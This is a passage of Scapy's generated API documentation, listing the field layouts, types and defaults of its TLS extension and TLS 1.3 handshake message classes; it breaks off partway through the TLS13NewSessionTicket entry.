class scapy.layers.tls.extensions.TLS_Ext_SessionTicket(_pkt, /, *, type=35, len=None, ticket=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L546-L555]

	Bases: TLS_Ext_Unknown

RFC 5077 updates RFC 4507 according to most implementations, which do not
use another (useless) ‘ticketlen’ field after the global ‘len’ field.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TICKET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_SessionTicket                    


TLS_Ext_SessionTicket fields






	type

	ShortEnumField

	35



	len

	FieldLenField

	None



	ticket

	StrLenField

	b''















	
class scapy.layers.tls.extensions.TLS_Ext_SignatureAlgorithms(_pkt, /, *, type=13, len=None, sig_algs_len=None, sig_algs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L480-L489]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SIG ALGS LEN         |            SIG ALGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_SignatureAlgorithms                 


TLS_Ext_SignatureAlgorithms fields






	type

	ShortEnumField

	13



	len

	MayEnd

	None



	sig_algs_len

	SigAndHashAlgsLenField

	None



	sig_algs

	SigAndHashAlgsField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_SignatureAlgorithmsCert(_pkt, /, *, type=50, len=None, sig_algs_len=None, sig_algs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L671-L680]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SIG ALGS LEN         |            SIG ALGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. TLS_Ext_SignatureAlgorithmsCert               


TLS_Ext_SignatureAlgorithmsCert fields






	type

	ShortEnumField

	50



	len

	MayEnd

	None



	sig_algs_len

	SigAndHashAlgsLenField

	None



	sig_algs

	SigAndHashAlgsField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedEllipticCurves(_pkt, /, *, type=10, len=None, groupslen=None, groups=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L460-L461]

	Bases: TLS_Ext_SupportedGroups


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPSLEN           |             GROUPS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. TLS_Ext_SupportedEllipticCurves               


TLS_Ext_SupportedEllipticCurves fields






	type

	ShortEnumField

	10



	len

	MayEnd

	None



	groupslen

	FieldLenField

	None



	groups

	FieldListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedGroups(_pkt, /, *, type=10, len=None, groupslen=None, groups=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L445-L457]

	Bases: TLS_Ext_Unknown

This extension was known as ‘Supported Elliptic Curves’ before TLS 1.3
merged both group selection mechanisms for ECDH and FFDH.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPSLEN           |             GROUPS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS_Ext_SupportedGroups                   


TLS_Ext_SupportedGroups fields






	type

	ShortEnumField

	10



	len

	MayEnd

	None



	groupslen

	FieldLenField

	None



	groups

	FieldListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedPointFormat(_pkt, /, *, type=11, len=None, ecpllen=None, ecpl=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L469-L477]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ECPLLEN    |              ECPL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. TLS_Ext_SupportedPointFormat                 


TLS_Ext_SupportedPointFormat fields






	type

	ShortEnumField

	11



	len

	MayEnd

	None



	ecpllen

	FieldLenField

	None



	ecpl

	FieldListField

	[0]















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedVersion_CH(_pkt, /, *, type=43, len=None, versionslen=None, versions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L594-L603]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  VERSIONSLEN  |            VERSIONS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_SupportedVersion_CH                 


TLS_Ext_SupportedVersion_CH fields






	type

	ShortEnumField

	43



	len

	MayEnd

	None



	versionslen

	FieldLenField

	None



	versions

	FieldListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedVersion_SH(_pkt, /, *, type=43, len=None, version=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L606-L610]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_SupportedVersion_SH                 


TLS_Ext_SupportedVersion_SH fields






	type

	ShortEnumField

	43



	len

	MayEnd

	None



	version

	ShortEnumField

	None















	
class scapy.layers.tls.extensions.TLS_Ext_SupportedVersions(_pkt, /, *, type=43, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L588-L591]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TLS_Ext_SupportedVersions                  


TLS_Ext_SupportedVersions fields






	type

	ShortEnumField

	43



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_TicketEarlyDataInfo(_pkt, /, *, type=46, len=None, max_early_data_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L647-L651]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      MAX EARLY DATA SIZE                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TLS_Ext_TicketEarlyDataInfo                 


TLS_Ext_TicketEarlyDataInfo fields






	type

	ShortEnumField

	46



	len

	MayEnd

	None



	max_early_data_size

	IntField

	0















	
class scapy.layers.tls.extensions.TLS_Ext_TruncatedHMAC(_pkt, /, *, type=4, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L332-L335]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_TruncatedHMAC                    


TLS_Ext_TruncatedHMAC fields






	type

	ShortEnumField

	4



	len

	MayEnd

	None















	
class scapy.layers.tls.extensions.TLS_Ext_TrustedCAInd(_pkt, /, *, type=3, len=None, talen=None, ta=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L323-L329]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TALEN             |               TA              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TLS_Ext_TrustedCAInd                     


TLS_Ext_TrustedCAInd fields






	type

	ShortEnumField

	3



	len

	MayEnd

	None



	talen

	FieldLenField

	None



	ta

	_TAListField

	[]















	
class scapy.layers.tls.extensions.TLS_Ext_Unknown(_pkt, /, *, type=None, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L103-L118]

	Bases: _GenericTLSSessionInheritance

We put this here rather than in extensions.py in order to avoid
circular imports…


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLS_Ext_Unknown                       


TLS_Ext_Unknown fields






	type

	ShortEnumField

	None



	len

	FieldLenField

	None



	val

	StrLenField

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L114-L118]

	








	
class scapy.layers.tls.extensions.TLS_Ext_UserMapping(_pkt, /, *, type=6, len=None, umlen=None, um=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/extensions.py#L385-L392]

	Bases: TLS_Ext_Unknown


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     UMLEN     |               UM              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLS_Ext_UserMapping                     


TLS_Ext_UserMapping fields






	type

	ShortEnumField

	6



	len

	MayEnd

	None



	umlen

	FieldLenField

	None



	um

	FieldListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.handshake

TLS handshake fields & logic.

This module covers the handshake TLS subprotocol, except for the key exchange
mechanisms which are addressed with keyexchange.py.


	
class scapy.layers.tls.handshake.SupDataEntry(_pkt, /, *, sdtype=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1575-L1583]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SDTYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SupDataEntry                         


SupDataEntry fields






	sdtype

	ShortField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1582-L1583]

	








	
class scapy.layers.tls.handshake.SupDataEntryUM(_pkt, /, *, sdtype=None, len=None, dlen=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1597-L1607]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SDTYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DLEN             |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SupDataEntryUM                        


SupDataEntryUM fields






	sdtype

	ShortField

	None



	len

	FieldLenField

	None



	dlen

	FieldLenField

	None



	data

	PacketListField

	[]











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1606-L1607]

	








	
class scapy.layers.tls.handshake.TLS13Certificate(_pkt, /, *, msgtype=11, msglen=None, cert_req_ctxt_len=None, cert_req_ctxt=b'', certslen=None, certs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L985-L1007]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |CERT REQ CTXT L|         CERT REQ CTXT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CERTSLEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CERTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TLS13Certificate                       


TLS13Certificate fields






	msgtype

	ByteEnumField

	11



	msglen

	ThreeBytesField

	None



	cert_req_ctxt_len

	FieldLenField

	None



	cert_req_ctxt

	StrLenField

	b''



	certslen

	_ASN1CertLenField

	None



	certs

	_ASN1CertAndExtListField

	[]











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L997-L1007]

	








	
class scapy.layers.tls.handshake.TLS13CertificateRequest(_pkt, /, *, msgtype=13, msglen=None, cert_req_ctxt_len=None, cert_req_ctxt=b'', extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1180-L1195]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |CERT REQ CTXT L|         CERT REQ CTXT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EXTLEN            |              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS13CertificateRequest                   


TLS13CertificateRequest fields






	msgtype

	ByteEnumField

	13



	msglen

	ThreeBytesField

	None



	cert_req_ctxt_len

	FieldLenField

	None



	cert_req_ctxt

	StrLenField

	b''



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1193-L1195]

	








	
class scapy.layers.tls.handshake.TLS13ClientHello(_pkt, /, *, msgtype=1, msglen=None, version=None, random_bytes=None, sidlen=None, sid=b'', cipherslen=None, ciphers=None, complen=None, comp=[0], extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L352-L479]

	Bases: _TLSHandshake

TLS 1.3 ClientHello, with abilities to handle extensions.

The Random structure is 32 random bytes without any GMT time


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            |  RANDOM BYTES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SIDLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |           CIPHERSLEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CIPHERS            |    COMPLEN    |      COMP     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             EXTLEN            |      EXT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. TLS13ClientHello                       


TLS13ClientHello fields






	msgtype

	ByteEnumField

	1



	msglen

	ThreeBytesField

	None



	version

	_TLSClientVersionField

	None



	random_bytes

	_TLSRandomBytesField

	None



	sidlen

	FieldLenField

	None



	sid

	_SessionIDField

	b''



	cipherslen

	FieldLenField

	None



	ciphers

	_CipherSuitesField

	None



	complen

	FieldLenField

	None



	comp

	_CompressionMethodsField

	[0]



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L389-L451]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L453-L479]

	Either for parsing or building, we store the client_random
along with the raw string representing this handshake message.










	
class scapy.layers.tls.handshake.TLS13EndOfEarlyData(_pkt, /, *, msgtype=5, msglen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1705-L1709]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. TLS13EndOfEarlyData                     


TLS13EndOfEarlyData fields






	msgtype

	ByteEnumField

	5



	msglen

	ThreeBytesField

	None















	
class scapy.layers.tls.handshake.TLS13HelloRetryRequest(_pkt, /, *, msgtype=2, msglen=None, version=771, random_bytes=None, sidlen=None, sid=b'', cipher=None, comp=[0], extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L701-L736]

	Bases: _TLSHandshake


	
aliastypes

	




	
build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L706-L710]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            |  RANDOM BYTES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SIDLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |             CIPHER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COMP             |             EXTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. TLS13HelloRetryRequest                    


TLS13HelloRetryRequest fields






	msgtype

	ByteEnumField

	2



	msglen

	ThreeBytesField

	None



	version

	_TLSVersionField

	771



	random_bytes

	_TLSRandomBytesField

	None



	sidlen

	FieldLenField

	None



	sid

	_SessionIDField

	b''



	cipher

	ShortEnumField

	None



	comp

	_CompressionMethodsField

	[0]



	extlen

	_ExtensionsLenField

	None



	ext

	_ExtensionsField

	None











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L712-L736]

	








	
class scapy.layers.tls.handshake.TLS13KeyUpdate(_pkt, /, *, msgtype=24, msglen=None, request_update=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1718-L1741]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | REQUEST UPDATE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TLS13KeyUpdate                        


TLS13KeyUpdate fields






	msgtype

	ByteEnumField

	24



	msglen

	ThreeBytesField

	None



	request_update

	ByteEnumField

	0











	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1724-L1730]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1732-L1741]

	








	
class scapy.layers.tls.handshake.TLS13NewSessionTicket(_pkt, /, *, msgtype=4, msglen=None, ticket_lifetime=4294967295, ticket_age_add=0, noncelen=None, ticket_nonce=b'', ticketlen=None, ticket=b'', extlen=None, ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1648-L1698]

	Bases: _TLSHandshake

Uncomment the TicketField line for parsing a RFC 5077 ticket.


	
aliastypes

	




	
build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1671-L1694]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                TICKET LIFETIME                |
